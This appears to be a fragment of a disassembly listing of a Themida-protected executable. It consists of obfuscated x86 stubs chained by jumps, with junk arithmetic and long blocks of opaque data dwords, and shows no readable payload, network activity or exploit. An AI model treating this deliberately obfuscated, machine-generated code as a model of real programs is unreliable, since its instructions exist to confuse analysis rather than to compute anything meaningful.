		dd 1C18B951h, 0C1814EBBh, 312D22A0h, 4F16E981h,	0E1C14037h
		dd 20E95205h, 800000BDh, 0C8883DE9h, 81240C8Bh,	4C4h, 8E0C000h
		dd 0E0C0FF2Ch, 0F6F88606h, 0C0F886D7h, 5DE907E8h, 59FFFFD9h
		dd 22A8C281h, 8EE969BBh, 89000020h, 0F3BD242Ch,	0F714BB05h
		dd 6CE581D5h, 6874404Fh, 2715h,	0BE243489h, 419E7284h
		dd 815EF509h, 266775F5h, 8BEB0107h, 0C481242Ch,	4, 0E9D3F743h
		dd 0B5ABh, 4C781h, 35680000h, 89000002h, 0E589242Ch, 4C581h
		dd 0ED830000h, 242C8704h, 8924248Bh, 0E950241Ch, 0D566h
		dd 24048F5Ch, 6824248Bh, 556Ah,	55240489h, 10A61E9h, 4EC8300h
		dd 83242489h, 58042404h, 405h, 4C08300h, 0CFECE9h
		db 0
; ---------------------------------------------------------------------------


loc_512781:				; CODE XREF: Themida_:0051EDC6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_520080
; ---------------------------------------------------------------------------
		dd 3D24CF81h, 0F7811936h, 301332B0h, 4812F781h,	0F801429Ah
		dd 0D4BF575Fh, 815BCE6Ah, 0E218F8E7h, 0EF814F67h, 303DCAADh
		dd 15FF829h, 3E2205E8h,	9E2D1384h, 2D0B3707h, 4A1011FEh
		dd 0FF2434FFh, 83E92434h, 81000039h, 6066AFE7h,	56C78167h
		dd 1A61F43h, 238BE9FBh,	0E5890000h, 606BB850h, 85E903ADh
		dd 500000E2h, 0A738DB8h, 58C30109h, 215BDE89h, 34FF1C77h
		dd 0B7E95E24h, 0FF000072h, 0B9DEE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512812:				; CODE XREF: Themida_:0051AB33j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_520FA0
; ---------------------------------------------------------------------------


loc_51281D:				; CODE XREF: Themida_:0051CA7Aj
		xor	edx, ebx
		jmp	loc_519B52
; ---------------------------------------------------------------------------
		dd 0BC1FE95Bh, 0BB53FFFFh, 16D2806h, 8E3C143h, 15BABA52h
		dd 0D33107BBh, 8324148Bh, 895504C4h, 0E9EE89DDh, 0FFFFDD81h
		dd 0E57DC781h, 0FB01213Eh, 8F98E9h
		db 0
; ---------------------------------------------------------------------------


loc_512859:				; CODE XREF: Themida_:0052215Fj
		mov	[esp], eax
		mov	eax, 47112AD4h
		add	eax, 0B8EED530h
		jmp	loc_50EFFE
; ---------------------------------------------------------------------------
		db 0ACh
		dd 8904EC83h, 55B5240Ch, 1F206853h, 14890000h, 0C0D2B624h
		dd 535108E6h, 0E92EB151h, 73DDh, 24048F5Ah, 242C875Ch
		dd 0D324248Bh, 0E99C2424h, 0FFFFB950h, 0B3B1E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5128A6:				; CODE XREF: Themida_:005189D9j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_522C18
; ---------------------------------------------------------------------------
		dd 953FB7BEh, 0EE814605h, 24A74A5h, 64EBE681h, 0BFE9507Bh
		dd 660000D8h, 0B7241C89h, 0EE1FE998h, 0B568FFFFh, 89000018h
		dd 1EBA2414h, 534E7345h, 724D6BBh, 43D3F77Ch, 18ECC381h
		dd 0C3815444h, 5E4528F7h, 75ECF381h, 0DA011EBAh, 81D2F75Bh
		dd 591159E2h, 10A7E92Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_51291A:				; CODE XREF: Themida_:00518ABCj
		pop	ecx
		jmp	loc_517A6A
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0D788C288h, 0FE88585Ah, 0E9241C8Bh, 0FFFFEEABh
		dd 81242489h, 42404h, 835B0000h, 3C8904ECh, 46824h, 3C8B0000h
		dd 33406824h, 0C890000h, 0E9E18924h, 0A3F1h, 0BE243489h
		dd 3BDF7E10h, 5894EE81h, 0C681309Eh, 7284557Eh,	63FF681h
		dd 0EED10F78h, 7C55C681h, 0C6811B02h, 4325261Ch, 13CF681h
		dd 0F229C59Bh, 8124348Bh, 4C4h,	0B856E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51299A:				; CODE XREF: Themida_:0050FA66j
		xor	bl, [esp+1]
		xor	[esp+1], bl
		inc	bl
		push	dx
		mov	dl, bl
		mov	bl, [esp+3]
		mov	[esp+3], dl
		pop	dx
		pop	bx
		push	ax
		mov	ah, 41h
		jmp	loc_511083
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 22A1E954h, 0E95F0000h, 1105Dh, 0FDE9D601h
		dd 0BB000108h, 2, 5B61ED81h, 0C58152E9h, 2DE1654Fh, 5835E9h
		dd 66A16800h, 685D1AC9h, 65DCh,	68241C89h, 60C14EFCh, 0DA25E9h
		db 0
; ---------------------------------------------------------------------------


loc_512A05:				; CODE XREF: Themida_:0051FA5Dj
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	eax
		push	10h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_51A749
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 684B4EBDh, 0E5C14565h, 0CFC58103h, 810CAE28h, 576234EDh
		dd 17F5815Dh, 2DDA9921h, 14807C55h, 5505E801h, 8B14807Ch
		dd 0C481242Ch, 4, 405h,	24048700h, 22A3E95Ch, 3FBA0000h
		dd 8144DC4Ah, 3762FCCAh, 5FE9426Bh
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_512A7F:				; CODE XREF: Themida_:0051EAC6j
		pop	esp
		mov	eax, [esp]
		jmp	loc_5178F6
; ---------------------------------------------------------------------------
		dd 0FFB763E9h, 3B0405FFh, 0C201BFA4h, 8B2434FFh, 0C4812404h
		dd 4, 5604C483h, 1A59B850h, 0ABBE3F16h,	1C0E9E5h, 0F20158C6h
		dd 8124348Bh, 4C4h, 24143300h, 0B642E9h, 80FD2800h, 0ED80E7EDh
		dd 241C8B47h, 6AABE9h, 12E7BF00h, 0E94757BBh, 0E20Ch
; ---------------------------------------------------------------------------


loc_512AE0:				; CODE XREF: Themida_:00518D45j
		add	esi, 1
		push	ecx
		push	ebp
		mov	ebp, 14F405CEh
		jmp	loc_517630
; ---------------------------------------------------------------------------
		db 87h
		dd 665C2404h, 0F6241489h, 8B662414h, 0C4832414h, 2E2C002h
		dd 706CE9h, 3AE58100h, 81642B51h, 0E629D0F5h, 5DEF8963h
		dd 0E33842C7h, 501E5C37h, 1302BB53h, 0EB815AECh, 0FFFFFFFFh
		dd 0EB81E3D1h, 0FFFFFFFFh, 0CB81D3F7h, 725E216Eh, 63AC381h
		dd 0D8898580h, 0FFBCB6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512B49:				; CODE XREF: Themida_:005146ECj
		add	esp, 4
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_522E75
; ---------------------------------------------------------------------------


loc_512B5B:				; CODE XREF: Themida_:00516D68j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_5179A0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 8E15E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512B86:				; CODE XREF: Themida_:005140BAj
		and	cl, dl
		jmp	loc_511511
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 80h
		dd 0CE809AC6h, 20C6803Ah, 0E9EBE680h, 0FFFFC11Ch, 8924248Bh
		dd 54BA2414h, 811FB74Dh, 4D0017E2h, 0FCA8177h, 0E96D4228h
		dd 3C1Ch, 8105EFC1h, 100AFBCFh,	0FBEF8147h, 0E947D25Bh
		dd 98BDh, 24048F5Bh, 2414895Ch,	7E26D468h, 2434FF49h, 8124148Bh
		dd 4C4h, 4C48300h, 3E2C14Ah, 0E180E9h
		db 0
; ---------------------------------------------------------------------------


loc_512BF5:				; CODE XREF: Themida_:005123ABj
		push	ebp
		mov	ebp, 0F0168442h
		jmp	loc_5199C1
; ---------------------------------------------------------------------------
		dd 0E5C05A58h, 2EDC007h, 3304E9h, 5BDF0100h, 4EF81h, 3C870000h
		dd 4895C24h, 5E08924h, 4, 0C51CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512C2A:				; CODE XREF: Themida_:0051D9FFj
		push	ecx
		mov	ecx, 371A08DFh
		add	ecx, 3EDF486Eh
		inc	ecx
		push	4085h
		mov	[esp], eax
		mov	eax, 0C1B268Ah
		inc	eax
		inc	eax
		push	ebx
		mov	ebx, 375D6A71h
		dec	ebx
		or	ebx, 16BB452Eh
		jmp	loc_518271
; ---------------------------------------------------------------------------
aYS		db '-[;y){"',0
		align 4
		dd 0C107E5C1h, 0ED8104E5h, 6932302Ch, 467F581h,	82E972D0h
		dd 52FFFFE7h, 0C598E9h,	34766800h, 3C890000h, 409CE924h
		dd 68570000h, 6B2E133Ch, 81243C8Bh, 4C4h, 81EFD100h, 0D4D7FFF7h
		dd 5FFD89D1h, 315DEE29h, 5CF1E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512CB2:				; CODE XREF: Themida_:0051BF10j
		sub	bl, 2Bh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	0E65h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_51A719
; ---------------------------------------------------------------------------
aZqisqsp	db 'ZQQ',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_512CDB:				; CODE XREF: Themida_:00511021j
		push	edi
		push	esi
		jmp	loc_5208AB
; ---------------------------------------------------------------------------


loc_512CE2:				; CODE XREF: Themida_:0051A1DCj
		add	bl, al
		add	bl, 1Ah
		jmp	loc_515516
; ---------------------------------------------------------------------------
		dd 7B659ABBh, 0D1685741h, 5F7E8E1Dh, 400EE9h, 0B4EEE900h
		dd 48BFFFFh, 4C48324h, 5CD1E9h,	53D0F600h, 0C381E389h
		dd 4, 0B57CE9h,	8BFB8900h, 0C481243Ch, 4, 4245C01h, 0C181595Bh
		dd 4, 0D3685152h, 597D6652h, 3783E981h,	0CA897CD5h, 83240C8Bh
		dd 0B95104C4h, 1F1C29ADh, 300EE9h
		db 0
; ---------------------------------------------------------------------------


loc_512D55:				; CODE XREF: Themida_:00517323j
		mov	bl, 7Fh
		and	bl, 0D4h
		push	ecx
		mov	cl, 0FAh
		shr	cl, 2
		jmp	loc_519100
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0DBA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_512D6D:				; CODE XREF: Themida_:0051396Dj
		sub	eax, 153B65CDh
		sub	eax, 1A0E0817h
		add	eax, 6DF252ECh
		push	ebx
		mov	ebx, 300D47E1h
		and	ebx, 56054CA4h
		dec	ebx
		add	ebx, 63339BE6h
		add	eax, ebx
		pop	ebx
		jmp	loc_50E4E9
; ---------------------------------------------------------------------------


loc_512D97:				; CODE XREF: Themida_:0051DF72j
		mov	edi, 70436F72h
		jmp	loc_50E9A5
; ---------------------------------------------------------------------------
aFqJ		db 'fQ',0
		dw 66CFh
		dd 0FBB65259h, 0C05AF708h, 0C78003EFh, 7018E9FFh, 0E8C10000h
		dd 0F3CFE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512DC2:				; CODE XREF: Themida_:00511BE5j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_511EC9
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242489h, 5E042404h, 4B850h, 0C6010000h,	4C68358h
		dd 8B243487h, 0E2E92424h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_512DFB:				; CODE XREF: Themida_:0052374Aj
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	4542h
		mov	[esp], ebp
		push	eax
		pop	ebp
		pop	eax
		not	eax
		xchg	eax, ebp
		jmp	loc_51009A
; ---------------------------------------------------------------------------


loc_512E1A:				; CODE XREF: Themida_:0051E6ACj
		pop	esp
		sub	ebx, 61F50D5Dh
		push	esi
		mov	esi, 10D75B4Ah
		add	ebx, esi
		pop	esi
		sub	ebx, 38B97783h
		sub	ebx, 75210B6h
		add	ebx, edi
		add	ebx, 75210B6h
		add	ebx, 38B97783h
		sub	ebx, 10D75B4Ah
		jmp	loc_51B12B
; ---------------------------------------------------------------------------
		db 58h
		dd 4B86B951h, 0E98771C4h, 0FFD067E9h, 0C8B66FFh, 4EC8124h
		dd 89000000h, 82E9241Ch, 310000F4h, 0B81FE9C5h,	48B0000h
		dd 4C48324h, 8B04C483h,	0C4832434h, 4C68104h, 57000000h
		dd 2BFh, 5FFE0100h, 31243433h, 34332434h, 24248B24h, 9C240CFEh
		dd 0FFB347E9h, 32FF64FFh, 0FFB33FE9h, 1C183FFh,	42DBE981h
		dd 81510F7Eh, 136C2404h, 0E95A3C4Ah, 1B33h, 8B24048Fh
		dd 0F662424h, 9C2404A3h, 0FFB317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512ED9:				; CODE XREF: Themida_:0051587Aj
		xchg	ecx, [esp]
		pop	esp


loc_512EDD:				; CODE XREF: Themida_:00515458j
		push	ebx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_513E23
; ---------------------------------------------------------------------------


loc_512EED:				; CODE XREF: Themida_:0051DF8Ej
		pop	ecx
		xor	ebp, 4A66774Eh
		shr	ebp, 6
		sub	ebp, 0D4EE9AE2h
		sub	edi, 19032F10h
		add	edi, ebp
		add	edi, 19032F10h
		pop	ebp
		add	ebx, edi
		pop	edi
		sub	ebx, 6BDA574Fh
		add	esi, ebx
		pop	ebx
		jmp	loc_52396D
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 70h
		dd 0C1407075h, 0EEC103EEh, 61C68102h, 29314E48h, 0E95D5EF7h
		dd 94B9h, 0E95BDE89h, 2F40h, 1668E789h,	89000015h, 0D7E9240Ch
		dd 1FFFFD9h, 0BB40E9D0h, 0C3810000h, 4,	18DDE9h, 0C4815900h
		dd 4, 4EC81h, 4890000h,	23685324h, 0FF440B17h, 835B2434h
		dd 0CB8104C4h, 16805545h, 4ED8C381h, 0CB810A91h, 64711224h
		dd 7576BF57h, 0FB29219Ah, 5F2434FFh, 4C481h, 0D8890000h
		dd 81241C8Bh, 4C4h, 0FFE88300h,	4A05D8F7h, 2D66C117h, 22DDD67Ch
		dd 34FFC101h, 0C4815824h, 4, 4C181h, 0C330000h,	240C3124h
		dd 5C240C33h, 8856E9h
		db 0
; ---------------------------------------------------------------------------


loc_512FDD:				; CODE XREF: Themida_:005194B5j
		add	edx, 49B75445h
		jmp	loc_51D1B8
; ---------------------------------------------------------------------------


loc_512FE8:				; CODE XREF: Themida_:00519A5Aj
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		sub	esi, 61214983h
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_522D58
; ---------------------------------------------------------------------------
a_su		db '_鞱',0
		align 2


loc_51300A:				; CODE XREF: Themida_:0051D939j
		mov	edx, 7CB45DC8h
		shr	edx, 6
		xor	edx, 0F4F3313h
		jmp	loc_515165
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aS_5		db '[',0
		align 2
aXso		db 'X&',0
		align 4
		dd 83241C89h, 3C8904ECh, 15BDBF24h, 0BE56307Eh,	373E2F4Ch
		dd 348BF389h, 0BAE95624h, 8900007Ch, 0BA522434h, 92C2A4Fh
		dd 0D5E9DAF7h, 8BFFFFB1h, 0A8E9242Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513063:				; CODE XREF: Themida_:0051B044j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_522722
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 7AA4E904h, 77FF0000h, 58669D1Ch, 24041966h, 0B166E99Ch
		dd 48FFFFFh, 24048124h,	4, 0FFB4ACE9h, 7BD268FFh, 29585BB2h
		dd 0F52958C5h, 7BD2C581h, 0BA525BB2h, 6F7D5095h, 68D2F7h
		dd 29000000h, 0F75A2414h, 0F2E281D2h, 0E91C1637h, 3C6Eh
		dd 81240C89h, 4ECh, 48F5400h, 4BE5624h,	1000000h, 8B042474h
		dd 0AEE92434h, 81FFFFBEh, 4C7h,	0C5B5E900h, 0E3890000h
		dd 4E8F68h, 24148900h, 932BAEBAh, 0AAEA816Ah, 16A932Bh
		dd 24148BD3h, 4C481h, 0EF680000h, 8900004Eh, 0C4682404h
		dd 0E9000007h, 10131h, 5158C529h, 3B0696B9h, 14E18154h
		dd 815C9952h, 2B1F00E1h, 0C1D1F728h, 0F18106E1h, 883770BCh
		dd 0A5E0E9h, 243C8900h,	10E95F54h, 89000046h, 24048BC7h
		dd 0E5E0E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51315E:				; CODE XREF: Themida_:00518869j
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66D9005Ah, 59C8205Bh, 0B2568h, 241C8900h, 69C868h, 24048900h
		dd 74D3E9h, 0D830AC00h,	8904EC83h, 5350241Ch, 0FFE922E9h
		dd 81E189FFh, 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h
		dd 0FFDDADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5131AD:				; CODE XREF: Themida_:00516289j
		push	ecx
		mov	ecx, 7D31606Bh
		shl	ecx, 3
		sub	ecx, 0BEB0AA0Ch
		add	ebp, ecx
		pop	ecx
		jmp	loc_519B6F
; ---------------------------------------------------------------------------
		dd 5724148Bh, 0C781E789h, 4, 8704C783h,	15C243Ch, 42BA52DFh
		dd 296EF932h, 7D2FE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5131E6:				; CODE XREF: Themida_:005209C9j
		add	esi, 0EB36CD45h
		push	edi
		mov	edi, 3BF937EEh
		jmp	loc_517D6F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B4502414h, 7AE951B0h, 0AD0000A6h, 2368D831h, 0E9000044h
		dd 987Ah, 575DE801h, 8904EC83h,	0E950242Ch, 0FFFFEA7Dh
; ---------------------------------------------------------------------------


loc_513220:				; CODE XREF: Themida_:0051E718j
		pop	eax
		push	edi
		mov	edi, 0C8E5E99h
		sub	dword ptr [esp+8], 656A1692h
		add	dword ptr [esp+8], 62EF6C9Ch
		add	[esp+8], edi
		jmp	loc_522A1D
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 0FFEEDCE9h, 0EBF781FFh, 4F27CC15h, 0A3B3EF81h
		dd 0C18104A6h, 472E49CDh, 0E981F929h, 472E49CDh, 2434FF5Fh
		dd 0C602E958h, 0F4880000h, 0E188515Ah, 5859CE88h, 8B5AF788h
		dd 6668240Ch, 89000013h, 0E389241Ch, 4C381h, 0E9500000h
		dd 0A14h
; ---------------------------------------------------------------------------


loc_513298:				; CODE XREF: Themida_:00515E38j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_50E5E1
; ---------------------------------------------------------------------------
		dw 0D830h
		dd 125D68h, 24148900h, 0DAF666B2h, 8646EA80h, 675A68DAh
		dd 55E90000h, 8B000106h, 0C481240Ch, 4,	2FD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5132D5:				; CODE XREF: Themida_:0050EDD2j
		pop	ebx
		push	ebp
		push	esi
		mov	esi, 7597909h
		xor	esi, 0E31794Fh
		xor	esi, 500201DEh
		mov	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		mov	ebx, edi
		pop	edi
		jmp	loc_51036F
; ---------------------------------------------------------------------------


loc_5132F7:				; CODE XREF: Themida_:00510584j
		push	esp
		pop	eax
		push	ebx
		jmp	loc_51B5FB
; ---------------------------------------------------------------------------
		db 58h
		dd 1869BF57h, 0C78179A3h, 3D552614h, 0C12C781h,	20E99814h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513317:				; CODE XREF: Themida_:005201F7j
		pop	ecx
		add	esp, 4
		jmp	loc_516BA1
; ---------------------------------------------------------------------------


loc_513320:				; CODE XREF: Themida_:00511D71j
		push	esp
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_51F6CB
; ---------------------------------------------------------------------------
		db 66h
		dd 22474FFh, 21E95F66h,	68FFFFB2h, 39A0h, 0C82AE9h
		db 0
; ---------------------------------------------------------------------------


loc_513341:				; CODE XREF: Themida_:0051779Ej
		push	edx
		mov	edx, 1BB1DD9h
		mov	ebx, edx
		pop	edx
		neg	ebx
		jmp	loc_518522
; ---------------------------------------------------------------------------


loc_513351:				; CODE XREF: Themida_:005165ECj
		mov	ebp, [esp]
		jmp	loc_521931
; ---------------------------------------------------------------------------
		db 68h,	0B3h, 77h
		dd 0C890000h, 2B924h, 0EB810000h, 54E42451h, 82685655h
		dd 5E62A14Dh, 8104E6C1h, 0A97E93F6h, 0A4EE8158h, 811FDE74h
		dd 8FB989EEh, 5EF58928h, 15DEB29h, 3F92E9CBh, 0F0890000h
		dd 8958C589h, 348B5DEBh, 4C48324h, 7A680805h, 2DD82930h
		dd 307A6808h, 57241C8Bh, 0FD71E9h
		db 0
; ---------------------------------------------------------------------------


loc_5133B9:				; CODE XREF: Themida_:00514350j
		pop	ebp
		xchg	ebp, edx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		jmp	loc_511DBB
; ---------------------------------------------------------------------------
		db 81h
		dd 0B10E3BE9h, 81F1011Fh, 0B10E3BC1h, 0F1815E1Fh, 0AA242873h
		dd 0C8BC889h, 4C48324h,	0D060E9h, 24348B00h, 4C481h, 148B0000h
		dd 4EC8324h, 54241C89h,	0FFD6BAE9h, 24248BFFh, 2BD55h
		dd 0E7E90000h, 6600002Fh, 5224148Bh, 0DA6CE9h
		db 0
; ---------------------------------------------------------------------------


loc_51341D:				; CODE XREF: Themida_:0050FC7Ej
		add	ecx, eax
		pop	eax
		jmp	loc_5205AF
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 9Eh
		dd 811FD335h, 0F3983E9h, 2AFAE9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_513436:				; CODE XREF: Themida_:005147B1j
		pop	ebp
		add	ebx, 26090677h
		shl	ebx, 8
		dec	ebx
		push	edi
		mov	edi, 12AA3F65h
		xor	ebx, edi
		pop	edi
		sub	ebx, 0EE983E03h
		add	ecx, 5B641593h
		add	ecx, ebx
		sub	ecx, 5B641593h
		jmp	loc_520FA7
; ---------------------------------------------------------------------------


loc_513463:				; CODE XREF: Themida_:0051DD80j
		mov	edx, 63655A1Ah
		neg	edx
		jmp	loc_51205B
; ---------------------------------------------------------------------------
		db 81h
		dd 3F7497EAh, 81FA014Ch, 3F7497C2h, 14335F4Ch, 24143124h
		dd 8B241433h, 3B662424h, 0EFE99CC8h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513493:				; CODE XREF: Themida_:0051192Bj
		push	edi
		push	ecx
		push	6C165175h
		mov	ecx, [esp]
		add	esp, 4
		shl	ecx, 1
		add	ecx, 6DC76BDFh
		sub	ecx, 63E718F8h
		push	ebp
		mov	ebp, 0E20CF5D5h
		jmp	loc_51E886
; ---------------------------------------------------------------------------
		db 59h,	0B5h, 0F7h
		dd 34FFD530h, 89515A24h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 51B1685Ch, 14890000h, 8097B224h, 0F28069EAh,	92B753DEh
		dd 8084C780h, 0F7804CE7h, 79C28063h, 0FFC192E9h, 90E959FFh
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5134FF:				; CODE XREF: Themida_:0050E916j
		add	eax, 92A2E86h
		add	eax, edx
		sub	eax, 92A2E86h
		add	eax, 75C305Bh
		mov	edx, [esp]
		add	esp, 4
		push	6F5Eh
		jmp	loc_51BBDC
; ---------------------------------------------------------------------------


loc_513520:				; CODE XREF: Themida_:00523642j
		sub	al, 62h
		sub	al, dl
		add	al, 62h
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_511B76
; ---------------------------------------------------------------------------


loc_513544:				; CODE XREF: Themida_:0051F4F2j
		movzx	cx, ah
		jmp	loc_5192BF
; ---------------------------------------------------------------------------


loc_51354D:				; CODE XREF: Themida_:00516EC2j
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
aSg		db '',0
		db 0
; ---------------------------------------------------------------------------


loc_513559:				; CODE XREF: Themida_:005206C6j
		mov	edi, eax
		pop	eax
		jmp	loc_5105BF
; ---------------------------------------------------------------------------


loc_513561:				; CODE XREF: Themida_:0051A13Bj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 5853814h
		xchg	edx, ebp
		jmp	loc_51C367
; ---------------------------------------------------------------------------


loc_513574:				; CODE XREF: Themida_:0050E1F1j
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 6Fh
		xor	ch, al
		jmp	loc_51EE9E
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFCEBCh, 0E60CE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_513592:				; CODE XREF: Themida_:0051B08Cj
		add	ecx, 81F2485h
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_510FC2
; ---------------------------------------------------------------------------
		dw 0D129h
		dd 54AC181h, 0E981301Ch, 348A5909h, 0C9C1815Ah,	174FC36h
		dd 3F84E9CFh, 0C9810000h, 477432D3h, 3EBD5549h,	0C119B16Eh
		dd 0C58102EDh, 4CFB25Ah, 0E95DE909h, 0B0C9h
; ---------------------------------------------------------------------------


loc_5135E8:				; CODE XREF: Themida_:00520DF4j
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	74E0h
		mov	[esp], eax
		jmp	loc_519485
; ---------------------------------------------------------------------------
		db 53h,	88h, 0C7h
		dd 88F98851h, 0E95B59CAh, 0F310h
; ---------------------------------------------------------------------------


loc_51360C:				; CODE XREF: Themida_:0051B8BCj
		mov	ecx, esp
		jmp	loc_51AD5D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 160D2D00h, 120534C1h, 0FF479B7Bh, 505E2434h, 0EC81E089h
		dd 4, 0B9240C89h, 76523CFAh, 485E981h, 0E9C109F7h, 3E9C106h
		dd 2D98E981h, 0C8010036h, 0E4E95259h, 810000FCh, 4C5h
		dd 0D4D3E900h, 0C281FFFFh, 4, 8704C283h, 11E92414h, 660000ABh
		dd 5524048Bh, 4A1068h, 48F5400h, 24048124h, 4, 0E92434FFh
		dd 0D404h, 0E92434FFh, 0B65Fh, 0B2241489h, 0A4F28005h
		dd 0BAD8E9h, 1DAF6800h,	0CBE90000h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_5136AB:				; CODE XREF: Themida_:00519A6Ej
		add	esp, 4
		add	ebx, 0A2A7E37h
		sub	ebx, esi
		sub	ebx, 0A2A7E37h
		pop	esi
		add	ebx, esi
		add	ebx, 7D9C330Eh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_522D5F
; ---------------------------------------------------------------------------
		dw 8C68h
		dd 0E9000011h, 958Fh, 0D7E9C529h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5136DF:				; CODE XREF: Themida_:0051E888j
		pop	ebp
		push	ecx
		add	dword ptr [esp], 69306616h
		jmp	loc_517837
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 148B0424h, 4C48324h,	5C24048Fh, 69B95157h, 0E9715A2Bh
		dd 9483h, 0E9F0015Ah, 0FFFFE2CAh, 396DBE56h, 0E1BA50E1h
		dd 31041477h, 0F2815EF2h, 26DB7D68h, 24E9E2D1h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51372B:				; CODE XREF: Themida_:0051BADFj
		push	eax
		push	edi
		mov	edi, 0F8A14FCh
		jmp	loc_51913B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C48100h, 68000000h, 215h, 0B8240489h,	4, 0FFC250E9h
		dd 240C89FFh, 5A09F168h, 0C8015906h, 100C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_513765:				; CODE XREF: Themida_:0050EAE1j
		shr	esi, 6
		inc	esi
		jmp	loc_511EBE
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 177980B9h, 2AA26845h, 0ABE90000h,	420000B1h
		dd 546AF281h, 0B8E93912h, 68FFFFC3h, 704Eh, 0B9240C89h
		dd 7D434A35h, 0FE18E9h
		db 0
; ---------------------------------------------------------------------------


loc_5137A1:				; CODE XREF: Themida_:005110BCj
		push	ebx
		jmp	loc_517DBC
; ---------------------------------------------------------------------------
		db 0FFh
a4XwsM		db '4$XW齌',0
		dd 240C8900h, 10051E9h,	4C58100h, 87000000h, 0A5E9242Ch
		dd 0FF00005Ah, 0E9042474h, 150h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 685C240Ch, 36CFh,	0E9243C89h, 0FFFFF750h
		dd 247EB951h, 575178B6h, 177818BFh, 5FF98926h, 4C98149h
		dd 810F751Ch, 4ECh, 24148900h, 0E75DBCBAh, 0D5E94A07h
